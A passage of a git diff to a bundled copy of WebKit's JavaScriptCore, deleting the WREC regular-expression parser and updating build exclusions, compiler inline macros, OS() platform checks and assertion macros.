-        
-        m_sequence.clear();
-    }
-
-private:
-    Generator& m_generator;
-    JumpList& m_failures;
-    Vector<int, 8> m_sequence;
-};
-
-ALWAYS_INLINE Quantifier Parser::consumeGreedyQuantifier()
-{
-    switch (peek()) {
-        case '?':
-            consume();
-            return Quantifier(Quantifier::Greedy, 0, 1);
-
-        case '*':
-            consume();
-            return Quantifier(Quantifier::Greedy, 0);
-
-        case '+':
-            consume();
-            return Quantifier(Quantifier::Greedy, 1);
-
-        case '{': {
-            SavedState state(*this);
-            consume();
-
-            // Accept: {n}, {n,}, {n,m}.
-            // Reject: {n,m} where n > m.
-            // Ignore: Anything else, such as {n, m}.
-
-            if (!peekIsDigit()) {
-                state.restore();
-                return Quantifier();
-            }
-
-            unsigned min = consumeNumber();
-            unsigned max = min;
-
-            if (peek() == ',') {
-                consume();
-                max = peekIsDigit() ? consumeNumber() : Quantifier::Infinity;
-            }
-
-            if (peek() != '}') {
-                state.restore();
-                return Quantifier();
-            }
-            consume();
- 
-            if (min > max) {
-                setError(QuantifierOutOfOrder);
-                return Quantifier(Quantifier::Error);
-            }
-
-            return Quantifier(Quantifier::Greedy, min, max);
-         }
-
-         default:
-            return Quantifier(); // No quantifier.
-    }
-}
-
-Quantifier Parser::consumeQuantifier()
-{
-    Quantifier q = consumeGreedyQuantifier();
-    
-    if ((q.type == Quantifier::Greedy) && (peek() == '?')) {
-        consume();
-        q.type = Quantifier::NonGreedy;
-    }
-    
-    return q;
-}
-
-bool Parser::parseCharacterClassQuantifier(JumpList& failures, const CharacterClass& charClass, bool invert)
-{
-    Quantifier q = consumeQuantifier();
-
-    switch (q.type) {
-    case Quantifier::None: {
-        m_generator.generateCharacterClass(failures, charClass, invert);
-        break;
-    }
-
-    case Quantifier::Greedy: {
-        GenerateCharacterClassFunctor functor(&charClass, invert);
-        m_generator.generateGreedyQuantifier(failures, functor, q.min, q.max);
-        break;
-    }
-
-    case Quantifier::NonGreedy: {
-        GenerateCharacterClassFunctor functor(&charClass, invert);
-        m_generator.generateNonGreedyQuantifier(failures, functor, q.min, q.max);
-        break;
-    }
-
-    case Quantifier::Error:
-        return false;
-    }
-    
-    return true;
-}
-
-bool Parser::parseBackreferenceQuantifier(JumpList& failures, unsigned subpatternId)
-{
-    Quantifier q = consumeQuantifier();
-
-    switch (q.type) {
-    case Quantifier::None: {
-        m_generator.generateBackreference(failures, subpatternId);
-        break;
-    }
-
-    case Quantifier::Greedy:
-    case Quantifier::NonGreedy:
-        m_generator.generateBackreferenceQuantifier(failures, q.type, subpatternId, q.min, q.max);
-        return true;
-
-    case Quantifier::Error:
-        return false;
-    }
-    
-    return true;
-}
-
-bool Parser::parseParentheses(JumpList& failures)
-{
-    ParenthesesType type = consumeParenthesesType();
-
-    // FIXME: WREC originally failed to backtrack correctly in cases such as
-    // "c".match(/(.*)c/). Now, most parentheses handling is disabled. For
-    // unsupported parentheses, we fall back on PCRE.
-
-    switch (type) {
-        case Generator::Assertion: {
-            m_generator.generateParenthesesAssertion(failures);
-
-            if (consume() != ')') {
-                setError(ParenthesesUnmatched);
-                return false;
-            }
-
-            Quantifier quantifier = consumeQuantifier();
-            if (quantifier.type != Quantifier::None && quantifier.min == 0) {
-                setError(ParenthesesNotSupported);
-                return false;
-            }
-
-            return true;
-        }
-        case Generator::InvertedAssertion: {
-            m_generator.generateParenthesesInvertedAssertion(failures);
-
-            if (consume() != ')') {
-                setError(ParenthesesUnmatched);
-                return false;
-            }
-
-            Quantifier quantifier = consumeQuantifier();
-            if (quantifier.type != Quantifier::None && quantifier.min == 0) {
-                setError(ParenthesesNotSupported);
-                return false;
-            }
-
-            return true;
-        }
-        default:
-            setError(ParenthesesNotSupported);
-            return false;
-    }
-}
-
-bool Parser::parseCharacterClass(JumpList& failures)
-{
-    bool invert = false;
-    if (peek() == '^') {
-        consume();
-        invert = true;
-    }
-
-    CharacterClassConstructor constructor(m_ignoreCase);
-
-    int ch;
-    while ((ch = peek()) != ']') {
-        switch (ch) {
-        case EndOfPattern:
-            setError(CharacterClassUnmatched);
-            return false;
-
-        case '\\': {
-            consume();
-            Escape escape = consumeEscape(true);
-
-            switch (escape.type()) {
-                case Escape::PatternCharacter: {
-                    int character = PatternCharacterEscape::cast(escape).character();
-                    if (character == '-')
-                        constructor.flushBeforeEscapedHyphen();
-                    constructor.put(character);
-                    break;
-                }
-                case Escape::CharacterClass: {
-                    const CharacterClassEscape& characterClassEscape = CharacterClassEscape::cast(escape);
-                    ASSERT(!characterClassEscape.invert());
-                    constructor.append(characterClassEscape.characterClass());
-                    break;
-                }
-                case Escape::Error:
-                    return false;
-                case Escape::Backreference:
-                case Escape::WordBoundaryAssertion: {
-                    ASSERT_NOT_REACHED();
-                    break;
-                }
-            }
-            break;
-        }
-
-        default:
-            consume();
-            constructor.put(ch);
-        }
-    }
-    consume();
-
-    // lazily catch reversed ranges ([z-a])in character classes
-    if (constructor.isUpsideDown()) {
-        setError(CharacterClassOutOfOrder);
-        return false;
-    }
-
-    constructor.flush();
-    CharacterClass charClass = constructor.charClass();
-    return parseCharacterClassQuantifier(failures, charClass, invert);
-}
-
-bool Parser::parseNonCharacterEscape(JumpList& failures, const Escape& escape)
-{
-    switch (escape.type()) {
-        case Escape::PatternCharacter:
-            ASSERT_NOT_REACHED();
-            return false;
-
-        case Escape::CharacterClass:
-            return parseCharacterClassQuantifier(failures, CharacterClassEscape::cast(escape).characterClass(), CharacterClassEscape::cast(escape).invert());
-
-        case Escape::Backreference:
-            return parseBackreferenceQuantifier(failures, BackreferenceEscape::cast(escape).subpatternId());
-
-        case Escape::WordBoundaryAssertion:
-            m_generator.generateAssertionWordBoundary(failures, WordBoundaryAssertionEscape::cast(escape).invert());
-            return true;
-
-        case Escape::Error:
-            return false;
-    }
-
-    ASSERT_NOT_REACHED();
-    return false;
-}
-
-Escape Parser::consumeEscape(bool inCharacterClass)
-{
-    switch (peek()) {
-    case EndOfPattern:
-        setError(EscapeUnterminated);
-        return Escape(Escape::Error);
-
-    // Assertions
-    case 'b':
-        consume();
-        if (inCharacterClass)
-            return PatternCharacterEscape('\b');
-        return WordBoundaryAssertionEscape(false); // do not invert
-    case 'B':
-        consume();
-        if (inCharacterClass)
-            return PatternCharacterEscape('B');
-        return WordBoundaryAssertionEscape(true); // invert
-
-    // CharacterClassEscape
-    case 'd':
-        consume();
-        return CharacterClassEscape(CharacterClass::digits(), false);
-    case 's':
-        consume();
-        return CharacterClassEscape(CharacterClass::spaces(), false);
-    case 'w':
-        consume();
-        return CharacterClassEscape(CharacterClass::wordchar(), false);
-    case 'D':
-        consume();
-        return inCharacterClass
-            ? CharacterClassEscape(CharacterClass::nondigits(), false)
-            : CharacterClassEscape(CharacterClass::digits(), true);
-    case 'S':
-        consume();
-        return inCharacterClass
-            ? CharacterClassEscape(CharacterClass::nonspaces(), false)
-            : CharacterClassEscape(CharacterClass::spaces(), true);
-    case 'W':
-        consume();
-        return inCharacterClass
-            ? CharacterClassEscape(CharacterClass::nonwordchar(), false)
-            : CharacterClassEscape(CharacterClass::wordchar(), true);
-
-    // DecimalEscape
-    case '1':
-    case '2':
-    case '3':
-    case '4':
-    case '5':
-    case '6':
-    case '7':
-    case '8':
-    case '9': {
-        if (peekDigit() > m_numSubpatterns || inCharacterClass) {
-            // To match Firefox, we parse an invalid backreference in the range [1-7]
-            // as an octal escape.
-            return peekDigit() > 7 ? PatternCharacterEscape('\\') : PatternCharacterEscape(consumeOctal());
-        }
-
-        int value = 0;
-        do {
-            unsigned newValue = value * 10 + peekDigit();
-            if (newValue > m_numSubpatterns)
-                break;
-            value = newValue;
-            consume();
-        } while (peekIsDigit());
-
-        return BackreferenceEscape(value);
-    }
-
-    // Octal escape
-    case '0':
-        consume();
-        return PatternCharacterEscape(consumeOctal());
-
-    // ControlEscape
-    case 'f':
-        consume();
-        return PatternCharacterEscape('\f');
-    case 'n':
-        consume();
-        return PatternCharacterEscape('\n');
-    case 'r':
-        consume();
-        return PatternCharacterEscape('\r');
-    case 't':
-        consume();
-        return PatternCharacterEscape('\t');
-    case 'v':
-        consume();
-        return PatternCharacterEscape('\v');
-
-    // ControlLetter
-    case 'c': {
-        SavedState state(*this);
-        consume();
-        
-        int control = consume();
-        // To match Firefox, inside a character class, we also accept numbers
-        // and '_' as control characters.
-        if ((!inCharacterClass && !isASCIIAlpha(control)) || (!isASCIIAlphanumeric(control) && control != '_')) {
-            state.restore();
-            return PatternCharacterEscape('\\');
-        }
-        return PatternCharacterEscape(control & 31);
-    }
-
-    // HexEscape
-    case 'x': {
-        consume();
-
-        SavedState state(*this);
-        int x = consumeHex(2);
-        if (x == -1) {
-            state.restore();
-            return PatternCharacterEscape('x');
-        }
-        return PatternCharacterEscape(x);
-    }
-
-    // UnicodeEscape
-    case 'u': {
-        consume();
-
-        SavedState state(*this);
-        int x = consumeHex(4);
-        if (x == -1) {
-            state.restore();
-            return PatternCharacterEscape('u');
-        }
-        return PatternCharacterEscape(x);
-    }
-
-    // IdentityEscape
-    default:
-        return PatternCharacterEscape(consume());
-    }
-}
-
-void Parser::parseAlternative(JumpList& failures)
-{
-    PatternCharacterSequence sequence(m_generator, failures);
-
-    while (1) {
-        switch (peek()) {
-        case EndOfPattern:
-        case '|':
-        case ')':
-            sequence.flush();
-            return;
-
-        case '*':
-        case '+':
-        case '?':
-        case '{': {
-            Quantifier q = consumeQuantifier();
-
-            if (q.type == Quantifier::None) {
-                sequence.append(consume());
-                continue;
-            }
-
-            if (q.type == Quantifier::Error)
-                return;
-
-            if (!sequence.size()) {
-                setError(QuantifierWithoutAtom);
-                return;
-            }
-
-            sequence.flush(q);
-            continue;
-        }
-
-        case '^':
-            consume();
-
-            sequence.flush();
-            m_generator.generateAssertionBOL(failures);
-            continue;
-
-        case '$':
-            consume();
-
-            sequence.flush();
-            m_generator.generateAssertionEOL(failures);
-            continue;
-
-        case '.':
-            consume();
-
-            sequence.flush();
-            if (!parseCharacterClassQuantifier(failures, CharacterClass::newline(), true))
-                return;
-            continue;
-
-        case '[':
-            consume();
-
-            sequence.flush();
-            if (!parseCharacterClass(failures))
-                return;
-            continue;
-
-        case '(':
-            consume();
-
-            sequence.flush();
-            if (!parseParentheses(failures))
-                return;
-            continue;
-
-        case '\\': {
-            consume();
-
-            Escape escape = consumeEscape(false);
-            if (escape.type() == Escape::PatternCharacter) {
-                sequence.append(PatternCharacterEscape::cast(escape).character());
-                continue;
-            }
-
-            sequence.flush();
-            if (!parseNonCharacterEscape(failures, escape))
-                return;
-            continue;
-        }
-
-        default:
-            sequence.append(consume());
-            continue;
-        }
-    }
-}
-
-/*
-  TOS holds index.
-*/
-void Parser::parseDisjunction(JumpList& failures)
-{
-    parseAlternative(failures);
-    if (peek() != '|')
-        return;
-
-    JumpList successes;
-    do {
-        consume();
-        m_generator.terminateAlternative(successes, failures);
-        parseAlternative(failures);
-    } while (peek() == '|');
-
-    m_generator.terminateDisjunction(successes);
-}
-
-Generator::ParenthesesType Parser::consumeParenthesesType()
-{
-    if (peek() != '?')
-        return Generator::Capturing;
-    consume();
-
-    switch (consume()) {
-    case ':':
-        return Generator::NonCapturing;
-    
-    case '=':
-        return Generator::Assertion;
-
-    case '!':
-        return Generator::InvertedAssertion;
-
-    default:
-        setError(ParenthesesTypeInvalid);
-        return Generator::Error;
-    }
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.h b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.h
deleted file mode 100644
index a3e151b..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.h
+++ /dev/null
@@ -1,214 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef Parser_h
-#define Parser_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include "Escapes.h"
-#include "Quantifier.h"
-#include "UString.h"
-#include "WRECGenerator.h"
-#include <wtf/ASCIICType.h>
-
-namespace JSC { namespace WREC {
-
-    struct CharacterClass;
-
-    class Parser {
-    typedef Generator::JumpList JumpList;
-    typedef Generator::ParenthesesType ParenthesesType;
-
-    friend class SavedState;
-
-    public:
-        Parser(const UString& pattern, bool ignoreCase, bool multiline)
-            : m_generator(*this)
-            , m_data(pattern.data())
-            , m_size(pattern.size())
-            , m_ignoreCase(ignoreCase)
-            , m_multiline(multiline)
-        {
-            reset();
-        }
-        
-        Generator& generator() { return m_generator; }
-
-        bool ignoreCase() const { return m_ignoreCase; }
-        bool multiline() const { return m_multiline; }
-
-        void recordSubpattern() { ++m_numSubpatterns; }
-        unsigned numSubpatterns() const { return m_numSubpatterns; }
-        
-        const char* error() const { return m_error; }
-        const char* syntaxError() const { return m_error == ParenthesesNotSupported ? 0 : m_error; }
-        
-        void parsePattern(JumpList& failures)
-        {
-            reset();
-
-            parseDisjunction(failures);
-
-            if (peek() != EndOfPattern)
-                setError(ParenthesesUnmatched); // Parsing the pattern should fully consume it.
-        }
-
-        void parseDisjunction(JumpList& failures);
-        void parseAlternative(JumpList& failures);
-        bool parseTerm(JumpList& failures);
-        bool parseNonCharacterEscape(JumpList& failures, const Escape&);
-        bool parseParentheses(JumpList& failures);
-        bool parseCharacterClass(JumpList& failures);
-        bool parseCharacterClassQuantifier(JumpList& failures, const CharacterClass& charClass, bool invert);
-        bool parseBackreferenceQuantifier(JumpList& failures, unsigned subpatternId);
-
-    private:
-        class SavedState {
-        public:
-            SavedState(Parser& parser)
-                : m_parser(parser)
-                , m_index(parser.m_index)
-            {
-            }
-            
-            void restore()
-            {
-                m_parser.m_index = m_index;
-            }
-
-        private:
-            Parser& m_parser;
-            unsigned m_index;
-        };
-
-        void reset()
-        {
-            m_index = 0;
-            m_numSubpatterns = 0;
-            m_error = 0;
-        }
-
-        void setError(const char* error)
-        {
-            if (m_error)
-                return;
-            m_error = error;
-        }
-
-        int peek()
-        {
-            if (m_index >= m_size)
-                return EndOfPattern;
-            return m_data[m_index];
-        }
-
-        int consume()
-        {
-            if (m_index >= m_size)
-                return EndOfPattern;
-            return m_data[m_index++];
-        }
-
-        bool peekIsDigit()
-        {
-            return WTF::isASCIIDigit(peek());
-        }
-
-        unsigned peekDigit()
-        {
-            ASSERT(peekIsDigit());
-            return peek() - '0';
-        }
-
-        unsigned consumeDigit()
-        {
-            ASSERT(peekIsDigit());
-            return consume() - '0';
-        }
-
-        unsigned consumeNumber()
-        {
-            int n = consumeDigit();
-            while (peekIsDigit()) {
-                n *= 10;
-                n += consumeDigit();
-            }
-            return n;
-        }
-
-        int consumeHex(int count)
-        {
-            int n = 0;
-            while (count--) {
-                if (!WTF::isASCIIHexDigit(peek()))
-                    return -1;
-                n = (n << 4) | WTF::toASCIIHexValue(consume());
-            }
-            return n;
-        }
-
-        unsigned consumeOctal()
-        {
-            unsigned n = 0;
-            while (n < 32 && WTF::isASCIIOctalDigit(peek()))
-                n = n * 8 + consumeDigit();
-            return n;
-        }
-        
-        ALWAYS_INLINE Quantifier consumeGreedyQuantifier();
-        Quantifier consumeQuantifier();
-        Escape consumeEscape(bool inCharacterClass);
-        ParenthesesType consumeParenthesesType();
-
-        static const int EndOfPattern = -1;
-
-        // Error messages.
-        static const char* QuantifierOutOfOrder;
-        static const char* QuantifierWithoutAtom;
-        static const char* ParenthesesUnmatched;
-        static const char* ParenthesesTypeInvalid;
-        static const char* ParenthesesNotSupported;
-        static const char* CharacterClassUnmatched;
-        static const char* CharacterClassOutOfOrder;
-        static const char* EscapeUnterminated;
-
-        Generator m_generator;
-        const UChar* m_data;
-        unsigned m_size;
-        unsigned m_index;
-        bool m_ignoreCase;
-        bool m_multiline;
-        unsigned m_numSubpatterns;
-        const char* m_error;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // Parser_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wscript b/src/3rdparty/webkit/JavaScriptCore/wscript
index 7a5ba1b..61ad1fb 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wscript
+++ b/src/3rdparty/webkit/JavaScriptCore/wscript
@@ -29,18 +29,19 @@ import commands
 
 from settings import *
 
-jscore_excludes = ['jsc.cpp', 'ucptable.cpp', 'GOwnPtr.cpp']
-jscore_excludes.extend(get_excludes(jscore_dir, ['*CF.cpp', '*Symbian.cpp']))
+jscore_excludes = ['jsc.cpp', 'ucptable.cpp']
+jscore_excludes.extend(get_excludes(jscore_dir, ['*Brew.cpp', '*CF.cpp', '*Symbian.cpp']))
 
 sources = []
 
-jscore_excludes.extend(get_excludes(jscore_dir, ['*Win.cpp', '*None.cpp']))
+jscore_excludes.extend(get_excludes(jscore_dir, ['*None.cpp']))
 
 if building_on_win32:
-    jscore_excludes += ['ExecutableAllocatorPosix.cpp', 'MarkStackPosix.cpp']
+    jscore_excludes += ['ExecutableAllocatorPosix.cpp', 'MarkStackPosix.cpp', 'ThreadingPthreads.cpp']
     sources += ['jit/ExecutableAllocatorWin.cpp', 'runtime/MarkStackWin.cpp']
 else:
     jscore_excludes.append('JSStringRefBSTR.cpp')
+    jscore_excludes.extend(get_excludes(jscore_dir, ['*Win.cpp']))
 
 def generate_jscore_derived_sources():
     # build the derived sources
@@ -71,11 +72,13 @@ def build(bld):
     full_dirs = get_dirs_for_features(jscore_dir, features=[build_port], dirs=jscore_dirs)
 
     includes = common_includes + full_dirs
+    if sys.platform.startswith('darwin'):
+        includes.append(os.path.join(jscore_dir, 'icu'))
 
     # 1. A simple program
     jscore = bld.new_task_gen(
         features = 'cxx cstaticlib',
-        includes = '. .. assembler wrec DerivedSources ForwardingHeaders ' + ' '.join(includes),
+        includes = '. .. assembler DerivedSources ForwardingHeaders ' + ' '.join(includes),
         source = sources,
         target = 'jscore',
         uselib = 'WX ICU ' + get_config(),
@@ -86,7 +89,7 @@ def build(bld):
         
     obj = bld.new_task_gen(
         features = 'cxx cprogram',
-        includes = '. .. assembler wrec DerivedSources ForwardingHeaders ' + ' '.join(includes),
+        includes = '. .. assembler DerivedSources ForwardingHeaders ' + ' '.join(includes),
         source = 'jsc.cpp',
         target = 'jsc',
         uselib = 'WX ICU ' + get_config(),
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ASCIICType.h b/src/3rdparty/webkit/JavaScriptCore/wtf/ASCIICType.h
index 0c3c29f..b43bb37 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ASCIICType.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ASCIICType.h
@@ -30,7 +30,6 @@
 #define WTF_ASCIICType_h
 
 #include <wtf/Assertions.h>
-#include <wtf/Platform.h>
 
 // The behavior of many of the functions in the <ctype.h> header is dependent
 // on the current locale. But in the WebKit project, all uses of those functions
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/AlwaysInline.h b/src/3rdparty/webkit/JavaScriptCore/wtf/AlwaysInline.h
index 64fdd99..ce27df6 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/AlwaysInline.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/AlwaysInline.h
@@ -23,7 +23,7 @@
 #ifndef ALWAYS_INLINE
 #if COMPILER(GCC) && defined(NDEBUG) && !COMPILER(MINGW)
 #define ALWAYS_INLINE inline __attribute__((__always_inline__))
-#elif COMPILER(MSVC) && defined(NDEBUG)
+#elif (COMPILER(MSVC) || COMPILER(RVCT)) && defined(NDEBUG)
 #define ALWAYS_INLINE __forceinline
 #else
 #define ALWAYS_INLINE inline
@@ -33,6 +33,8 @@
 #ifndef NEVER_INLINE
 #if COMPILER(GCC)
 #define NEVER_INLINE __attribute__((__noinline__))
+#elif COMPILER(RVCT)
+#define NEVER_INLINE __declspec(noinline)
 #else
 #define NEVER_INLINE
 #endif
@@ -57,6 +59,8 @@
 #ifndef NO_RETURN
 #if COMPILER(GCC)
 #define NO_RETURN __attribute((__noreturn__))
+#elif COMPILER(RVCT)
+#define NO_RETURN __declspec(noreturn)
 #else
 #define NO_RETURN
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.cpp
index 6c5e2e3..cadbc91 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.cpp
@@ -35,7 +35,7 @@
 #include <CoreFoundation/CFString.h>
 #endif
 
-#if COMPILER(MSVC) && !PLATFORM(WINCE)
+#if COMPILER(MSVC) && !OS(WINCE)
 #ifndef WINVER
 #define WINVER 0x0500
 #endif
@@ -46,7 +46,7 @@
 #include <crtdbg.h>
 #endif
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 #include <winbase.h>
 #endif
 
@@ -82,7 +82,7 @@ static void vprintf_stderr_common(const char* format, va_list args)
                 break;
 
             if (_vsnprintf(buffer, size, format, args) != -1) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
                 // WinCE only supports wide chars
                 wchar_t* wideBuffer = (wchar_t*)malloc(size * sizeof(wchar_t));
                 if (wideBuffer == NULL)
@@ -105,7 +105,7 @@ static void vprintf_stderr_common(const char* format, va_list args)
         } while (size > 1024);
     }
 #endif
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
     vfprintf(stdout, format, args);
 #else
     vfprintf(stderr, format, args);
@@ -123,7 +123,7 @@ static void printf_stderr_common(const char* format, ...)
 
 static void printCallSite(const char* file, int line, const char* function)
 {
-#if PLATFORM(WIN) && !PLATFORM(WINCE) && defined _DEBUG
+#if OS(WIN) && !OS(WINCE) && defined _DEBUG
     _CrtDbgReport(_CRT_WARN, file, line, NULL, "%s\n", function);
 #else
     printf_stderr_common("(%s:%d %s)\n", file, line, function);
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.h
index aa72e5a..0e02af5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Assertions.h
@@ -50,7 +50,7 @@
 #include <inttypes.h>
 #endif
 
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
 #include <e32def.h>
 #include <e32debug.h>
 #endif
@@ -61,24 +61,50 @@
 #define ASSERTIONS_DISABLED_DEFAULT 0
 #endif
 
+#if COMPILER(MSVC7) || COMPILER(WINSCW)
+#define HAVE_VARIADIC_MACRO 0
+#else
+#define HAVE_VARIADIC_MACRO 1
+#endif
+
 #ifndef ASSERT_DISABLED
 #define ASSERT_DISABLED ASSERTIONS_DISABLED_DEFAULT
 #endif
 
+#ifndef ASSERT_MSG_DISABLED
+#if HAVE(VARIADIC_MACRO)
+#define ASSERT_MSG_DISABLED ASSERTIONS_DISABLED_DEFAULT
+#else
+#define ASSERT_MSG_DISABLED 1
+#endif
+#endif
+
 #ifndef ASSERT_ARG_DISABLED
 #define ASSERT_ARG_DISABLED ASSERTIONS_DISABLED_DEFAULT
 #endif
 
 #ifndef FATAL_DISABLED
+#if HAVE(VARIADIC_MACRO)
 #define FATAL_DISABLED ASSERTIONS_DISABLED_DEFAULT
+#else
+#define FATAL_DISABLED 1
+#endif
 #endif
 
 #ifndef ERROR_DISABLED
+#if HAVE(VARIADIC_MACRO)
 #define ERROR_DISABLED ASSERTIONS_DISABLED_DEFAULT
+#else
+#define ERROR_DISABLED 1
+#endif
 #endif
 
 #ifndef LOG_DISABLED
+#if HAVE(VARIADIC_MACRO)
 #define LOG_DISABLED ASSERTIONS_DISABLED_DEFAULT
+#else
+#define LOG_DISABLED 1
+#endif
 #endif
 
 #if COMPILER(GCC)
@@ -125,7 +151,7 @@ void WTFLogVerbose(const char* file, int line, const char* function, WTFLogChann
 /* CRASH -- gets us into the debugger or the crash reporter -- signals are ignored by the crash reporter so we must do better */
 
 #ifndef CRASH
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
 #define CRASH() do { \
     __DEBUGGER(); \
     User::Panic(_L("Webkit CRASH"),0); \
@@ -138,9 +164,9 @@ void WTFLogVerbose(const char* file, int line, const char* function, WTFLogChann
 #endif
 #endif
 
-/* ASSERT, ASSERT_WITH_MESSAGE, ASSERT_NOT_REACHED */
+/* ASSERT, ASSERT_NOT_REACHED, ASSERT_UNUSED */
 
-#if PLATFORM(WINCE) && !PLATFORM(TORCHMOBILE)
+#if OS(WINCE) && !PLATFORM(TORCHMOBILE)
 /* FIXME: We include this here only to avoid a conflict with the ASSERT macro. */
 #include <windows.h>
 #undef min
@@ -148,21 +174,22 @@ void WTFLogVerbose(const char* file, int line, const char* function, WTFLogChann
 #undef ERROR
 #endif
 
-#if PLATFORM(WIN_OS) || PLATFORM(SYMBIAN)
+#if OS(WINDOWS) || OS(SYMBIAN)
 /* FIXME: Change to use something other than ASSERT to avoid this conflict with the underlying platform */
 #undef ASSERT
 #endif
 
+#if PLATFORM(BREWMP)
+/* FIXME: We include this here only to avoid a conflict with the COMPILE_ASSERT macro. */
+#include <AEEClassIDs.h>
+
+/* FIXME: Change to use something other than COMPILE_ASSERT to avoid this conflict with the underlying platform */
+#undef COMPILE_ASSERT
+#endif
+
 #if ASSERT_DISABLED
 
 #define ASSERT(assertion) ((void)0)
-#if COMPILER(MSVC7)
-#define ASSERT_WITH_MESSAGE(assertion) ((void)0)
-#elif COMPILER(WINSCW)
-#define ASSERT_WITH_MESSAGE(assertion, arg...) ((void)0)
-#else
-#define ASSERT_WITH_MESSAGE(assertion, ...) ((void)0)
-#endif /* COMPILER(MSVC7) */
 #define ASSERT_NOT_REACHED() ((void)0)
 #define ASSERT_UNUSED(variable, assertion) ((void)variable)
 
@@ -174,10 +201,24 @@ void WTFLogVerbose(const char* file, int line, const char* function, WTFLogChann
         CRASH(); \
     } \
 while (0)
+
+#define ASSERT_NOT_REACHED() do { \
+    WTFReportAssertionFailure(__FILE__, __LINE__, WTF_PRETTY_FUNCTION, 0); \
+    CRASH(); \
+} while (0)
+
+#define ASSERT_UNUSED(variable, assertion) ASSERT(assertion)
+
+#endif
+
+/* ASSERT_WITH_MESSAGE */
+
 #if COMPILER(MSVC7)
 #define ASSERT_WITH_MESSAGE(assertion) ((void)0)
 #elif COMPILER(WINSCW)
 #define ASSERT_WITH_MESSAGE(assertion, arg...) ((void)0)
+#elif ASSERT_MSG_DISABLED
+#define ASSERT_WITH_MESSAGE(assertion, ...) ((void)0)
 #else
 #define ASSERT_WITH_MESSAGE(assertion, ...) do \
     if (!(assertion)) { \
@@ -185,16 +226,9 @@ while (0)
         CRASH(); \
     } \
 while (0)
-#endif /* COMPILER(MSVC7) */
-#define ASSERT_NOT_REACHED() do { \
-    WTFReportAssertionFailure(__FILE__, __LINE__, WTF_PRETTY_FUNCTION, 0); \
-    CRASH(); \
-} while (0)
-
-#define ASSERT_UNUSED(variable, assertion) ASSERT(assertion)
-
 #endif
-
+                        
+                        
 /* ASSERT_ARG */
 
 #if ASSERT_ARG_DISABLED
@@ -219,12 +253,12 @@ while (0)
 
 /* FATAL */
 
-#if FATAL_DISABLED && !COMPILER(MSVC7) && !COMPILER(WINSCW)
-#define FATAL(...) ((void)0)
-#elif COMPILER(MSVC7)
+#if COMPILER(MSVC7)
 #define FATAL() ((void)0)
 #elif COMPILER(WINSCW)
-#define FATAL(args...) ((void)0)
+#define FATAL(arg...) ((void)0)
+#elif FATAL_DISABLED
+#define FATAL(...) ((void)0)
 #else
 #define FATAL(...) do { \
     WTFReportFatalError(__FILE__, __LINE__, WTF_PRETTY_FUNCTION, __VA_ARGS__); \
@@ -234,24 +268,24 @@ while (0)
 
 /* LOG_ERROR */
 
-#if ERROR_DISABLED && !COMPILER(MSVC7) && !COMPILER(WINSCW)
-#define LOG_ERROR(...) ((void)0)
-#elif COMPILER(MSVC7)
+#if COMPILER(MSVC7)
 #define LOG_ERROR() ((void)0)
 #elif COMPILER(WINSCW)
 #define LOG_ERROR(arg...)  ((void)0)
+#elif ERROR_DISABLED
+#define LOG_ERROR(...) ((void)0)
 #else
 #define LOG_ERROR(...) WTFReportError(__FILE__, __LINE__, WTF_PRETTY_FUNCTION, __VA_ARGS__)
 #endif
 
 /* LOG */
 
-#if LOG_DISABLED && !COMPILER(MSVC7) && !COMPILER(WINSCW)
